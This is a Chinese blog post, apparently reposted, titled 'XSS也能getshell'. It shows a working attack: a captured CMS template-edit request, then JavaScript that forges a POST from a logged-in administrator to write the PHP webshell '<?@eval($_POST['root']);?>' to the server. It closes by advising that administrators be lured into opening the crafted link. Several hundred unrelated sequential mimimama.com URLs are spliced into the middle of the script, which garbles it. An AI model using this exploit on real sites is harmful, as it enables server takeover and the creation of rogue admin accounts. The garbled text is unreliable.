XSS也能getshell

我的想法是这样的 有很多CMS都有 修改模板或者修改文件的功能
我们可以自己构造一个外部的URL去post提交修改模板或其他文件 从而实现XSSgetshell ！同样这方法能做很多事情比如增加管理员账号什么的
前提条件要管理员登陆状态下
若CMS系统有XSS漏洞那就更完美了 呵呵
我这里随便找了一套带文件增 删 改 的cms测试呵呵（这CMS也有XSS不过因为魔术原因利用起来不太利索，这里我只是做一个test就自己写html来模拟XSS呢）
首先确定CMS带文件编辑功能并且能添加最好
 
  
 
然后提交抓包一下（主要看post提交的参数）
抓包结果
POST /dongtai/mydecms/moban.php?action=act_add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.2cto.com /dongtai/mydecms/moban.php?action=add
Cookie: DedeUserID=1; DedeUserID__ckMd5=b9cf12069278e6e4; DedeLoginTime=1332332156; DedeLoginTime__ckMd5=51cc4f68ef71707f; ZDEDebuggerPresent=php,phtml,php3; PHPSESSID=mhirdnd0l4avekk1sq89doge51
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
 
filename=xss&mobantext=&content=by+alex&button=%CC%ED%BC%D3%C4%A3%B0%E5%CE%C4%BC%FE&id=
 
提交的url:/dongtai/mydecms/moban.php?action=act_add
提交的文件名：filename=xss
提交的文件内容：content=by+alex
这两个参数是post的
我们来构造一个javascript post提交（为了模拟XSS攻击 不然随便用PHP 或者html了）
 
function PostSubmit(url, data, msg) { 
    var postUrl = url;//提交地址 
    var postData = data;//第一个数据 
    var msgData = msg;//第二个数据 
    var ExportForm = document.createElement("FORM"); 
    document.body.appendChild(ExportForm); 
    ExportForm.method = "POST";  //post提交
    var newElement = document.createElement("input"); 
    newElement.setAttribute("name", "filename");  //文件名
    newElement.setAttribute("type", "hidden"); 
    var newElement2 = document.createElement("input"); 
    newElement2.setAttribute("name", "content");  //文件内容
    newElement2.setAttribute("type", "hidden"); 
    ExportForm.appendChild(newElement); 
    ExportForm.appendChild(newElement2); 
    newElement.value = postData; 
    newElement2.value = msgData; 
    ExportForm.action = postUrl; 
    ExportForm.submit(); 
};
 
//filename=test&mobantext=&content=haha&button=%CC%ED%BC%D3%C4%A3%B0%E5%CE%C4%BC%FE&id=
PostSubmit("http:// www.2cto.com /dongtai/mydecms/moban.php?action=act_add","hack","<?@eval($_POST['root']);?>");//然后调用

http://www.mimimama.com/group/t1289137
http://www.mimimama.com/group/t1289136
http://www.mimimama.com/group/t1289135
http://www.mimimama.com/group/t1289134
http://www.mimimama.com/group/t1289133
http://www.mimimama.com/group/t1289132
http://www.mimimama.com/group/t1289131
http://www.mimimama.com/group/t1289130
http://www.mimimama.com/group/t1289129
http://www.mimimama.com/group/t1289128
http://www.mimimama.com/group/t1289127
http://www.mimimama.com/group/t1289126
http://www.mimimama.com/group/t1289125
http://www.mimimama.com/group/t1289124
http://www.mimimama.com/group/t1289123
http://www.mimimama.com/group/t1289122
http://www.mimimama.com/group/t1289121
http://www.mimimama.com/group/t1289120
http://www.mimimama.com/group/t1289119
http://www.mimimama.com/group/t1289118
http://www.mimimama.com/group/t1289117
http://www.mimimama.com/group/t1289116
http://www.mimimama.com/group/t1289115
http://www.mimimama.com/group/t1289114
http://www.mimimama.com/group/t1289113
http://www.mimimama.com/group/t1289112
http://www.mimimama.com/group/t1289111
http://www.mimimama.com/group/t1289110
http://www.mimimama.com/group/t1289109
http://www.mimimama.com/group/t1289108
http://www.mimimama.com/group/t1289107
http://www.mimimama.com/group/t1289106
http://www.mimimama.com/group/t1289105
http://www.mimimama.com/group/t1289104
http://www.mimimama.com/group/t1289103
http://www.mimimama.com/group/t1289102
http://www.mimimama.com/group/t1289101
http://www.mimimama.com/group/t1289100
http://www.mimimama.com/group/t1289099
http://www.mimimama.com/group/t1289098
http://www.mimimama.com/group/t1289097
http://www.mimimama.com/group/t1289096
http://www.mimimama.com/group/t1289095
http://www.mimimama.com/group/t1289094
http://www.mimimama.com/group/t1289093
http://www.mimimama.com/group/t1289092
http://www.mimimama.com/group/t1289091
http://www.mimimama.com/group/t1289090
http://www.mimimama.com/group/t1289089
http://www.mimimama.com/group/t1289088
http://www.mimimama.com/group/t1289087
http://www.mimimama.com/group/t1289086
http://www.mimimama.com/group/t1289085
http://www.mimimama.com/group/t1289084
http://www.mimimama.com/group/t1289083
http://www.mimimama.com/group/t1289082
http://www.mimimama.com/group/t1289081
http://www.mimimama.com/group/t1289080
http://www.mimimama.com/group/t1289079
http://www.mimimama.com/group/t1289078
http://www.mimimama.com/group/t1289077
http://www.mimimama.com/group/t1289076
http://www.mimimama.com/group/t1289075
http://www.mimimama.com/group/t1289074
http://www.mimimama.com/group/t1289073
http://www.mimimama.com/group/t1289072
http://www.mimimama.com/group/t1289071
http://www.mimimama.com/group/t1289070
http://www.mimimama.com/group/t1289069
http://www.mimimama.com/group/t1289068
http://www.mimimama.com/group/t1289067
http://www.mimimama.com/group/t1289066
http://www.mimimama.com/group/t1289065
http://www.mimimama.com/group/t1289064
http://www.mimimama.com/group/t1289063
http://www.mimimama.com/group/t1289062
http://www.mimimama.com/group/t1289061
http://www.mimimama.com/group/t1289060
http://www.mimimama.com/group/t1289059
http://www.mimimama.com/group/t1289058
http://www.mimimama.com/group/t1289057
http://www.mimimama.com/group/t1289056
http://www.mimimama.com/group/t1289055
http://www.mimimama.com/group/t1289054
http://www.mimimama.com/group/t1289053
http://www.mimimama.com/group/t1289052
http://www.mimimama.com/group/t1289051
http://www.mimimama.com/group/t1289050
http://www.mimimama.com/group/t1289049
http://www.mimimama.com/group/t1289048
http://www.mimimama.com/group/t1289047
http://www.mimimama.com/group/t1289046
http://www.mimimama.com/group/t1289045
http://www.mimimama.com/group/t1289044
http://www.mimimama.com/group/t1289043
http://www.mimimama.com/group/t1289042
http://www.mimimama.com/group/t1289041
http://www.mimimama.com/group/t1289040
http://www.mimimama.com/group/t1289039
http://www.mimimama.com/group/t1289038
http://www.mimimama.com/group/t1289037
http://www.mimimama.com/group/t1289036
http://www.mimimama.com/group/t1289035
http://www.mimimama.com/group/t1289034
http://www.mimimama.com/group/t1289033
http://www.mimimama.com/group/t1289032
http://www.mimimama.com/group/t1289031
http://www.mimimama.com/group/t1289030
http://www.mimimama.com/group/t1289029
http://www.mimimama.com/group/t1289028
http://www.mimimama.com/group/t1289027
http://www.mimimama.com/group/t1289026
http://www.mimimama.com/group/t1289025
http://www.mimimama.com/group/t1289024
http://www.mimimama.com/group/t1289023
http://www.mimimama.com/group/t1289022
http://www.mimimama.com/group/t1289021
http://www.mimimama.com/group/t1289020
http://www.mimimama.com/group/t1289019
http://www.mimimama.com/group/t1289018
http://www.mimimama.com/group/t1289017
http://www.mimimama.com/group/t1289016
http://www.mimimama.com/group/t1289015
http://www.mimimama.com/group/t1289014
http://www.mimimama.com/group/t1289013
http://www.mimimama.com/group/t1289012
http://www.mimimama.com/group/t1289011
http://www.mimimama.com/group/t1289010
http://www.mimimama.com/group/t1289009
http://www.mimimama.com/group/t1289008
http://www.mimimama.com/group/t1289007
http://www.mimimama.com/group/t1289006
http://www.mimimama.com/group/t1289005
http://www.mimimama.com/group/t1289004
http://www.mimimama.com/group/t1289003
http://www.mimimama.com/group/t1289002
http://www.mimimama.com/group/t1289001
http://www.mimimama.com/group/t1289000
http://www.mimimama.com/group/t1288999
http://www.mimimama.com/group/t1288998
http://www.mimimama.com/group/t1288997
http://www.mimimama.com/group/t1288996
http://www.mimimama.com/group/t1288995
http://www.mimimama.com/group/t1288994
http://www.mimimama.com/group/t1288993
http://www.mimimama.com/group/t1288992
http://www.mimimama.com/group/t1288991
http://www.mimimama.com/group/t1288990
http://www.mimimama.com/group/t1288989
http://www.mimimama.com/group/t1288988
http://www.mimimama.com/group/t1288987
http://www.mimimama.com/group/t1288986
http://www.mimimama.com/group/t1288985
http://www.mimimama.com/group/t1288984
http://www.mimimama.com/group/t1288983
http://www.mimimama.com/group/t1288982
http://www.mimimama.com/group/t1288981
http://www.mimimama.com/group/t1288980
http://www.mimimama.com/group/t1288979
http://www.mimimama.com/group/t1288978
http://www.mimimama.com/group/t1288977
http://www.mimimama.com/group/t1288976
http://www.mimimama.com/group/t1288975
http://www.mimimama.com/group/t1288974
http://www.mimimama.com/group/t1288973
http://www.mimimama.com/group/t1288972
http://www.mimimama.com/group/t1288971
http://www.mimimama.com/group/t1288970
http://www.mimimama.com/group/t1288969
http://www.mimimama.com/group/t1288968
http://www.mimimama.com/group/t1288967
http://www.mimimama.com/group/t1288966
http://www.mimimama.com/group/t1288965
http://www.mimimama.com/group/t1288964
http://www.mimimama.com/group/t1288963
http://www.mimimama.com/group/t1288962
http://www.mimimama.com/group/t1288961
http://www.mimimama.com/group/t1288960
http://www.mimimama.com/group/t1288959
http://www.mimimama.com/group/t1288958
http://www.mimimama.com/group/t1288957
http://www.mimimama.com/group/t1288956
http://www.mimimama.com/group/t1288955
http://www.mimimama.com/group/t1288954
http://www.mimimama.com/group/t1288953
http://www.mimimama.com/group/t1288952
http://www.mimimama.com/group/t1288951
http://www.mimimama.com/group/t1288950
http://www.mimimama.com/group/t1288949
http://www.mimimama.com/group/t1288948
http://www.mimimama.com/group/t1288947
http://www.mimimama.com/group/t1288946
http://www.mimimama.com/group/t1288945
http://www.mimimama.com/group/t1288944
http://www.mimimama.com/group/t1288943
http://www.mimimama.com/group/t1288942
http://www.mimimama.com/group/t1288941
http://www.mimimama.com/group/t1288940
http://www.mimimama.com/group/t1288939
http://www.mimimama.com/group/t1288938
http://www.mimimama.com/group/t1288937
http://www.mimimama.com/group/t1288936
http://www.mimimama.com/group/t1288935
http://www.mimimama.com/group/t1288934
http://www.mimimama.com/group/t1288933
http://www.mimimama.com/group/t1288932
http://www.mimimama.com/group/t1288931
http://www.mimimama.com/group/t1288930
http://www.mimimama.com/group/t1288929
http://www.mimimama.com/group/t1288928
http://www.mimimama.com/group/t1288927
http://www.mimimama.com/group/t1288926
http://www.mimimama.com/group/t1288925
http://www.mimimama.com/group/t1288924
http://www.mimimama.com/group/t1288923
http://www.mimimama.com/group/t1288922
http://www.mimimama.com/group/t1288921
http://www.mimimama.com/group/t1288920
http://www.mimimama.com/group/t1288919
http://www.mimimama.com/group/t1288918
http://www.mimimama.com/group/t1288917
http://www.mimimama.com/group/t1288916
http://www.mimimama.com/group/t1288915
http://www.mimimama.com/group/t1288914
http://www.mimimama.com/group/t1288913
http://www.mimimama.com/group/t1288912
http://www.mimimama.com/group/t1288911
http://www.mimimama.com/group/t1288910
http://www.mimimama.com/group/t1288909
http://www.mimimama.com/group/t1288908
http://www.mimimama.com/group/t1288907
http://www.mimimama.com/group/t1288906
http://www.mimimama.com/group/t1288905
http://www.mimimama.com/group/t1288904
http://www.mimimama.com/group/t1288903
http://www.mimimama.com/group/t1288902
http://www.mimimama.com/group/t1288901
http://www.mimimama.com/group/t1288900
http://www.mimimama.com/group/t1288899
http://www.mimimama.com/group/t1288898
http://www.mimimama.com/group/t1288897
http://www.mimimama.com/group/t1288896
http://www.mimimama.com/group/t1288895
http://www.mimimama.com/group/t1288894
http://www.mimimama.com/group/t1288893
http://www.mimimama.com/group/t1288892
http://www.mimimama.com/group/t1288891
http://www.mimimama.com/group/t1288890
http://www.mimimama.com/group/t1288889
http://www.mimimama.com/group/t1288888
http://www.mimimama.com/group/t1288887
http://www.mimimama.com/group/t1288886
http://www.mimimama.com/group/t1288885
http://www.mimimama.com/group/t1288884
http://www.mimimama.com/group/t1288883
http://www.mimimama.com/group/t1288882
http://www.mimimama.com/group/t1288881
http://www.mimimama.com/group/t1288880
http://www.mimimama.com/group/t1288879
http://www.mimimama.com/group/t1288878
http://www.mimimama.com/group/t1288877
http://www.mimimama.com/group/t1288876
http://www.mimimama.com/group/t1288875
http://www.mimimama.com/group/t1288874
http://www.mimimama.com/group/t1288873
http://www.mimimama.com/group/t1288872
http://www.mimimama.com/group/t1288871
http://www.mimimama.com/group/t1288870
http://www.mimimama.com/group/t1288869
http://www.mimimama.com/group/t1288868
http://www.mimimama.com/group/t1288867
http://www.mimimama.com/group/t1288866
http://www.mimimama.com/group/t1288865
http://www.mimimama.com/group/t1288864
http://www.mimimama.com/group/t1288863
http://www.mimimama.com/group/t1288862
http://www.mimimama.com/group/t1288861
http://www.mimimama.com/group/t1288860
http://www.mimimama.com/group/t1288859
http://www.mimimama.com/group/t1288858
http://www.mimimama.com/group/t1288857
http://www.mimimama.com/group/t1288856
http://www.mimimama.com/group/t1288855
http://www.mimimama.com/group/t1288854
http://www.mimimama.com/group/t1288853
http://www.mimimama.com/group/t1288852
http://www.mimimama.com/group/t1288851
http://www.mimimama.com/group/t1288850
http://www.mimimama.com/group/t1288849
http://www.mimimama.com/group/t1288848
http://www.mimimama.com/group/t1288847
http://www.mimimama.com/group/t1288846
http://www.mimimama.com/group/t1288845
http://www.mimimama.com/group/t1288844
http://www.mimimama.com/group/t1288843
http://www.mimimama.com/group/t1288842
http://www.mimimama.com/group/t1288841
http://www.mimimama.com/group/t1288840
http://www.mimimama.com/group/t1288839
http://www.mimimama.com/group/t1288838
http://www.mimimama.com/group/t1288837
http://www.mimimama.com/group/t1288836
http://www.mimimama.com/group/t1288835
http://www.mimimama.com/group/t1288834
http://www.mimimama.com/group/t1288833
http://www.mimimama.com/group/t1288832
http://www.mimimama.com/group/t1288831
http://www.mimimama.com/group/t1288830
http://www.mimimama.com/group/t1288829
http://www.mimimama.com/group/t1288828
http://www.mimimama.com/group/t1288827
http://www.mimimama.com/group/t1288826
http://www.mimimama.com/group/t1288825
http://www.mimimama.com/group/t1288824
http://www.mimimama.com/group/t1288823
http://www.mimimama.com/group/t1288822
http://www.mimimama.com/group/t1288821
http://www.mimimama.com/group/t1288820
http://www.mimimama.com/group/t1288819
http://www.mimimama.com/group/t1288818
http://www.mimimama.com/group/t1288817
http://www.mimimama.com/group/t1288816
http://www.mimimama.com/group/t1288815
http://www.mimimama.com/group/t1288814
http://www.mimimama.com/group/t1288813
http://www.mimimama.com/group/t1288812
http://www.mimimama.com/group/t1288811
http://www.mimimama.com/group/t1288810
http://www.mimimama.com/group/t1288809
http://www.mimimama.com/group/t1288808
http://www.mimimama.com/group/t1288807
http://www.mimimama.com/group/t1288806
http://www.mimimama.com/group/t1288805
http://www.mimimama.com/group/t1288804
http://www.mimimama.com/group/t1288803
http://www.mimimama.com/group/t1288802
http://www.mimimama.com/group/t1288801
http://www.mimimama.com/group/t1288800
http://www.mimimama.com/group/t1288799
http://www.mimimama.com/group/t1288798
http://www.mimimama.com/group/t1288797
http://www.mimimama.com/group/t1288796
http://www.mimimama.com/group/t1288795
http://www.mimimama.com/group/t1288794
http://www.mimimama.com/group/t1288793
http://www.mimimama.com/group/t1288792
http://www.mimimama.com/group/t1288791
http://www.mimimama.com/group/t1288790
http://www.mimimama.com/group/t1288789
http://www.mimimama.com/group/t1288788
http://www.mimimama.com/group/t1288787
http://www.mimimama.com/group/t1288786
http://www.mimimama.com/group/t1288785
http://www.mimimama.com/group/t1288784
http://www.mimimama.com/group/t1288783
http://www.mimimama.com/group/t1288782
http://www.mimimama.com/group/t1288781
http://www.mimimama.com/group/t1288780
http://www.mimimama.com/group/t1288779
http://www.mimimama.com/group/t1288778
http://www.mimimama.com/group/t1288777
http://www.mimimama.com/group/t1288776
http://www.mimimama.com/group/t1288775
http://www.mimimama.com/group/t1288774
http://www.mimimama.com/group/t1288773
http://www.mimimama.com/group/t1288772
http://www.mimimama.com/group/t1288771
http://www.mimimama.com/group/t1288770
http://www.mimimama.com/group/t1288769
http://www.mimimama.com/group/t1288768
http://www.mimimama.com/group/t1288767
http://www.mimimama.com/group/t1288766
http://www.mimimama.com/group/t1288765
http://www.mimimama.com/group/t1288764
http://www.mimimama.com/group/t1288763
http://www.mimimama.com/group/t1288762
http://www.mimimama.com/group/t1288761
http://www.mimimama.com/group/t1288760
http://www.mimimama.com/group/t1288759
http://www.mimimama.com/group/t1288758
http://www.mimimama.com/group/t1288757
http://www.mimimama.com/group/t1288756
http://www.mimimama.com/group/t1288755
http://www.mimimama.com/group/t1288754
http://www.mimimama.com/group/t1288753
http://www.mimimama.com/group/t1288752
http://www.mimimama.com/group/t1288751
http://www.mimimama.com/group/t1288750
http://www.mimimama.com/group/t1288749
http://www.mimimama.com/group/t1288748
http://www.mimimama.com/group/t1288747
http://www.mimimama.com/group/t1288746
http://www.mimimama.com/group/t1288745
http://www.mimimama.com/group/t1288744
http://www.mimimama.com/group/t1288743
http://www.mimimama.com/group/t1288742
http://www.mimimama.com/group/t1288741
http://www.mimimama.com/group/t1288740
http://www.mimimama.com/group/t1288739
http://www.mimimama.com/group/t1288738
http://www.mimimama.com/group/t1288737
http://www.mimimama.com/group/t1288736
http://www.mimimama.com/group/t1288735
http://www.mimimama.com/group/t1288734
http://www.mimimama.com/group/t1288733
http://www.mimimama.com/group/t1288732
http://www.mimimama.com/group/t1288731
http://www.mimimama.com/group/t1288730
http://www.mimimama.com/group/t1288729
http://www.mimimama.com/group/t1288728
http://www.mimimama.com/group/t1288727
http://www.mimimama.com/group/t1288726
http://www.mimimama.com/group/t1288725
http://www.mimimama.com/group/t1288724
http://www.mimimama.com/group/t1288723
http://www.mimimama.com/group/t1288722
http://www.mimimama.com/group/t1288721
http://www.mimimama.com/group/t1288720
http://www.mimimama.com/group/t1288719
http://www.mimimama.com/group/t1288718
http://www.mimimama.com/group/t1288717
http://www.mimimama.com/group/t1288716
http://www.mimimama.com/group/t1288715
http://www.mimimama.com/group/t1288714
http://www.mimimama.com/group/t1288713
http://www.mimimama.com/group/t1288712
http://www.mimimama.com/group/t1288711
http://www.mimimama.com/group/t1288710
http://www.mimimama.com/group/t1288709
http://www.mimimama.com/group/t1288708
http://www.mimimama.com/group/t1288707
http://www.mimimama.com/group/t1288706
http://www.mimimama.com/group/t1288705
http://www.mimimama.com/group/t1288704
http://www.mimimama.com/group/t1288703
http://www.mimimama.com/group/t1288702
http://www.mimimama.com/group/t1288701
http://www.mimimama.com/group/t1288700
http://www.mimimama.com/group/t1288699
http://www.mimimama.com/group/t1288698
http://www.mimimama.com/group/t1288697
http://www.mimimama.com/group/t1288696
http://www.mimimama.com/group/t1288695
http://www.mimimama.com/group/t1288694
http://www.mimimama.com/group/t1288693
http://www.mimimama.com/group/t1288692
http://www.mimimama.com/group/t1288691
http://www.mimimama.com/group/t1288690
http://www.mimimama.com/group/t1288689
http://www.mimimama.com/group/t1288688
http://www.mimimama.com/group/t1288687
http://www.mimimama.com/group/t1288686
http://www.mimimama.com/group/t1288685
http://www.mimimama.com/group/t1288684
http://www.mimimama.com/group/t1288683
http://www.mimimama.com/group/t1288682
http://www.mimimama.com/group/t1288681
http://www.mimimama.com/group/t1288680
http://www.mimimama.com/group/t1288679
http://www.mimimama.com/group/t1288678
http://www.mimimama.com/group/t1288677
http://www.mimimama.com/group/t1288676
http://www.mimimama.com/group/t1288675
http://www.mimimama.com/group/t1288674
http://www.mimimama.com/group/t1288673
http://www.mimimama.com/group/t1288672
http://www.mimimama.com/group/t1288671
http://www.mimimama.com/group/t1288670
http://www.mimimama.com/group/t1288669
http://www.mimimama.com/group/t1288668
http://www.mimimama.com/group/t1288667
http://www.mimimama.com/group/t1288666
http://www.mimimama.com/group/t1288665
http://www.mimimama.com/group/t1288664
http://www.mimimama.com/group/t1288663
http://www.mimimama.com/group/t1288662
http://www.mimimama.com/group/t1288661
http://www.mimimama.com/group/t1288660
http://www.mimimama.com/group/t1288659
http://www.mimimama.com/group/t1288658
http://www.mimimama.com/group/t1288657
http://www.mimimama.com/group/t1288656
http://www.mimimama.com/group/t1288655
http://www.mimimama.com/group/t1288654
http://www.mimimama.com/group/t1288653
http://www.mimimama.com/group/t1288652
http://www.mimimama.com/group/t1288651
http://www.mimimama.com/group/t1288650
http://www.mimimama.com/group/t1288649
http://www.mimimama.com/group/t1288648
http://www.mimimama.com/group/t1288647
http://www.mimimama.com/group/t1288646
http://www.mimimama.com/group/t1288645
http://www.mimimama.com/group/t1288644
http://www.mimimama.com/group/t1288643
http://www.mimimama.com/group/t1288642
http://www.mimimama.com/group/t1288641
http://www.mimimama.com/group/t1288640
http://www.mimimama.com/group/t1288639
http://www.mimimama.com/group/t1288638
http://www.mimimama.com/group/t1288637
http://www.mimimama.com/group/t1288636
http://www.mimimama.com/group/t1288635
http://www.mimimama.com/group/t1288634
http://www.mimimama.com/group/t1288633
http://www.mimimama.com/group/t1288632
http://www.mimimama.com/group/t1288631
http://www.mimimama.com/group/t1288630
http://www.mimimama.com/group/t1288629
http://www.mimimama.com/group/t1288628
http://www.mimimama.com/group/t1288627
http://www.mimimama.com/group/t1288626
http://www.mimimama.com/group/t1288625
http://www.mimimama.com/group/t1288624
http://www.mimimama.com/group/t1288623
http://www.mimimama.com/group/t1288622
http://www.mimimama.com/group/t1288621
http://www.mimimama.com/group/t1288620
http://www.mimimama.com/group/t1288619
http://www.mimimama.com/group/t1288618
http://www.mimimama.com/group/t1288617
http://www.mimimama.com/group/t1288616
http://www.mimimama.com/group/t1288615
http://www.mimimama.com/group/t1288614
http://www.mimimama.com/group/t1288613
http://www.mimimama.com/group/t1288612
http://www.mimimama.com/group/t1288611
http://www.mimimama.com/group/t1288610
http://www.mimimama.com/group/t1288609
http://www.mimimama.com/group/t1288608
http://www.mimimama.com/group/t1288607
http://www.mimimama.com/group/t1288606
http://www.mimimama.com/group/t1288605
http://www.mimimama.com/group/t1288604
http://www.mimimama.com/group/t1288603
http://www.mimimama.com/group/t1288602
http://www.mimimama.com/group/t1288601
http://www.mimimama.com/group/t1288600
http://www.mimimama.com/group/t1288599
http://www.mimimama.com/group/t1288598
http://www.mimimama.com/group/t1288597
http://www.mimimama.com/group/t1288596
http://www.mimimama.com/group/t1288595
http://www.mimimama.com/group/t1288594
http://www.mimimama.com/group/t1288593
http://www.mimimama.com/group/t1288592
http://www.mimimama.com/group/t1288591
http://www.mimimama.com/group/t1288590
http://www.mimimama.com/group/t1288589
http://www.mimimama.com/group/t1288588
http://www.mimimama.com/group/t1288587
http://www.mimimama.com/group/t1288586
http://www.mimimama.com/group/t1288585
http://www.mimimama.com/group/t1288584
http://www.mimimama.com/group/t1288583
http://www.mimimama.com/group/t1288582
http://www.mimimama.com/group/t1288581
http://www.mimimama.com/group/t1288580
http://www.mimimama.com/group/t1288579
http://www.mimimama.com/group/t1288578
http://www.mimimama.com/group/t1288577
http://www.mimimama.com/group/t1288576
http://www.mimimama.com/group/t1288575
http://www.mimimama.com/group/t1288574
http://www.mimimama.com/group/t1288573
http://www.mimimama.com/group/t1288572
http://www.mimimama.com/group/t1288571
http://www.mimimama.com/group/t1288570
http://www.mimimama.com/group/t1288569
http://www.mimimama.com/group/t1288568
http://www.mimimama.com/group/t1288567
http://www.mimimama.com/group/t1288566
http://www.mimimama.com/group/t1288565
http://www.mimimama.com/group/t1288564
http://www.mimimama.com/group/t1288563
http://www.mimimama.com/group/t1288562
http://www.mimimama.com/group/t1288561
http://www.mimimama.com/group/t1288560
http://www.mimimama.com/group/t1288559
http://www.mimimama.com/group/t1288558
http://www.mimimama.com/group/t1288557
http://www.mimimama.com/group/t1288556
http://www.mimimama.com/group/t1288555
http://www.mimimama.com/group/t1288554
http://www.mimimama.com/group/t1288553
http://www.mimimama.com/group/t1288552
http://www.mimimama.com/group/t1288551
http://www.mimimama.com/group/t1288550
http://www.mimimama.com/group/t1288549
http://www.mimimama.com/group/t1288548
http://www.mimimama.com/group/t1288547
http://www.mimimama.com/group/t1288546
http://www.mimimama.com/group/t1288545
http://www.mimimama.com/group/t1288544
http://www.mimimama.com/group/t1288543
http://www.mimimama.com/group/t1288542
http://www.mimimama.com/group/t1288541
http://www.mimimama.com/group/t1288540
http://www.mimimama.com/group/t1288539
http://www.mimimama.com/group/t1288538
http://www.mimimama.com/group/t1288537
http://www.mimimama.com/group/t1288536
http://www.mimimama.com/group/t1288535
http://www.mimimama.com/group/t1288534
http://www.mimimama.com/group/t1288533
http://www.mimimama.com/group/t1288532
http://www.mimimama.com/group/t1288531
http://www.mimimama.com/group/t1288530
http://www.mimimama.com/group/t1288529
http://www.mimimama.com/group/t1288528
http://www.mimimama.com/group/t1288527 
保存为test.js
然后如果有XS可以尝试调用这JS
我只是测试就用html调用了
 
<html>
<head>
</head>
<body>
 
<script src="test.js">
</script>
 
 
</body>
</html>




 
让后就自由发挥了 诱使管理员在登陆的情况下打开我们构造的连接
如：http://www.2cto.com /xss/test.html

摘自:狗一样的男人 blog